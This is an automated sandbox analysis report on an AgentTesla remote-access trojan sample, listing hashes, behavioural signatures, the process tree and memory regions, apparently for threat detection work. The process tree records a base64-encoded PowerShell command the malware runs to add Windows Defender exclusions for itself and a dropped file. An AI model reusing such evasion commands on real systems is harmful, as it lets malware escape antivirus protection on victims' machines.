Analysis

  • max time kernel
    102s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2025, 02:40

General

  • Target

    3c070b90123187dd109cc6f75176b117eedc4e13540e8512b5b989bf0fdca790.exe

  • Size

    39KB

  • MD5

    0cb635a72976bbed4648cd7dc0f00fc8

  • SHA1

    c6412f78283481c67d1aad70e7140340320337ec

  • SHA256

    3c070b90123187dd109cc6f75176b117eedc4e13540e8512b5b989bf0fdca790

  • SHA512

    47a993c9eb3f95cb64c9d0989d68e3c9b840f624c46e88cf072c661d4f23a3cd864ab5aaf82c4212c2b7e2d440641672b264e1dc72210703ddafb88b249c2b3b

  • SSDEEP

    768:zwqw9ep/Q+8Nb4cRpEv2bCj4Tf8c0JVzQA2EUJCX:8VJ2tBDJVsAyJ

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3380
      • C:\Users\Admin\AppData\Local\Temp\3c070b90123187dd109cc6f75176b117eedc4e13540e8512b5b989bf0fdca790.exe
        "C:\Users\Admin\AppData\Local\Temp\3c070b90123187dd109cc6f75176b117eedc4e13540e8512b5b989bf0fdca790.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Checks computer location settings
        • Drops startup file
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1896
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /release
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1604
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /release
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:2300
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMwBjADAANwAwAGIAOQAwADEAMgAzADEAOAA3AGQAZAAxADAAOQBjAGMANgBmADcANQAxADcANgBiADEAMQA3AGUAZQBkAGMANABlADEAMwA1ADQAMABlADgANQAxADIAYgA1AGIAOQA4ADkAYgBmADAAZgBkAGMAYQA3ADkAMAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAGMAMAA3ADAAYgA5ADAAMQAyADMAMQA4ADcAZABkADEAMAA5AGMAYwA2AGYANwA1ADEANwA2AGIAMQAxADcAZQBlAGQAYwA0AGUAMQAzADUANAAwAGUAOAA1ADEAMgBiADUAYgA5ADgAOQBiAGYAMABmAGQAYwBhADcAOQAwAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABwAGQAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABwAGQAZgAuAGUAeABlAA==
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4212
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /renew
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /renew
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:4716
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4392

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azy5ix4x.tgm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1896-1330-0x00000000751FE000-0x00000000751FF000-memory.dmp

      Filesize

      4KB

    • memory/1896-61-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-2-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-3-0x00000000064D0000-0x00000000065E2000-memory.dmp

      Filesize

      1.1MB

    • memory/1896-7-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-4-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-19-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-37-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-65-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-35-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-33-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-32-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-29-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-27-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-25-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-23-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-17-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-15-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-13-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-12-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-1329-0x0000000006680000-0x00000000066CC000-memory.dmp

      Filesize

      304KB

    • memory/1896-5-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-21-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-67-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-63-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-1331-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-60-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-57-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-55-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-53-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-51-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-49-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-47-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-45-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-43-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-41-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-39-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-1326-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1327-0x0000000006610000-0x000000000667C000-memory.dmp

      Filesize

      432KB

    • memory/1896-1328-0x00000000067F0000-0x000000000685A000-memory.dmp

      Filesize

      424KB

    • memory/1896-9-0x00000000064D0000-0x00000000065DC000-memory.dmp

      Filesize

      1.0MB

    • memory/1896-1399-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1-0x00000000009B0000-0x00000000009BE000-memory.dmp

      Filesize

      56KB

    • memory/1896-1332-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1381-0x0000000007430000-0x00000000079D4000-memory.dmp

      Filesize

      5.6MB

    • memory/1896-1382-0x0000000005820000-0x0000000005874000-memory.dmp

      Filesize

      336KB

    • memory/1896-1387-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1391-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1398-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1389-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-1392-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/1896-0-0x00000000751FE000-0x00000000751FF000-memory.dmp

      Filesize

      4KB

    • memory/4212-1371-0x00000000076A0000-0x00000000076AA000-memory.dmp

      Filesize

      40KB

    • memory/4212-1370-0x0000000007640000-0x000000000765A000-memory.dmp

      Filesize

      104KB

    • memory/4212-1339-0x0000000005410000-0x0000000005476000-memory.dmp

      Filesize

      408KB

    • memory/4212-1340-0x00000000055A0000-0x0000000005606000-memory.dmp

      Filesize

      408KB

    • memory/4212-1350-0x0000000005D40000-0x0000000006094000-memory.dmp

      Filesize

      3.3MB

    • memory/4212-1351-0x0000000006300000-0x000000000631E000-memory.dmp

      Filesize

      120KB

    • memory/4212-1352-0x00000000067E0000-0x000000000682C000-memory.dmp

      Filesize

      304KB

    • memory/4212-1336-0x0000000005610000-0x0000000005C38000-memory.dmp

      Filesize

      6.2MB

    • memory/4212-1372-0x00000000078B0000-0x0000000007946000-memory.dmp

      Filesize

      600KB

    • memory/4212-1355-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1367-0x00000000072F0000-0x0000000007393000-memory.dmp

      Filesize

      652KB

    • memory/4212-1368-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1366-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1365-0x00000000072D0000-0x00000000072EE000-memory.dmp

      Filesize

      120KB

    • memory/4212-1338-0x0000000005370000-0x0000000005392000-memory.dmp

      Filesize

      136KB

    • memory/4212-1369-0x0000000007CC0000-0x000000000833A000-memory.dmp

      Filesize

      6.5MB

    • memory/4212-1354-0x0000000070300000-0x000000007034C000-memory.dmp

      Filesize

      304KB

    • memory/4212-1335-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1373-0x0000000007830000-0x0000000007841000-memory.dmp

      Filesize

      68KB

    • memory/4212-1374-0x0000000007860000-0x000000000786E000-memory.dmp

      Filesize

      56KB

    • memory/4212-1337-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1334-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1375-0x0000000007870000-0x0000000007884000-memory.dmp

      Filesize

      80KB

    • memory/4212-1376-0x0000000007970000-0x000000000798A000-memory.dmp

      Filesize

      104KB

    • memory/4212-1377-0x0000000007950000-0x0000000007958000-memory.dmp

      Filesize

      32KB

    • memory/4212-1380-0x00000000751F0000-0x00000000759A0000-memory.dmp

      Filesize

      7.7MB

    • memory/4212-1353-0x00000000068D0000-0x0000000006902000-memory.dmp

      Filesize

      200KB

    • memory/4212-1333-0x00000000029D0000-0x0000000002A06000-memory.dmp

      Filesize

      216KB

    • memory/4392-1396-0x0000000005990000-0x0000000005A22000-memory.dmp

      Filesize

      584KB

    • memory/4392-1397-0x0000000005920000-0x000000000592A000-memory.dmp

      Filesize

      40KB

    • memory/4392-1395-0x00000000058A0000-0x00000000058F0000-memory.dmp

      Filesize

      320KB

    • memory/4392-1394-0x00000000001A0000-0x00000000001E0000-memory.dmp

      Filesize

      256KB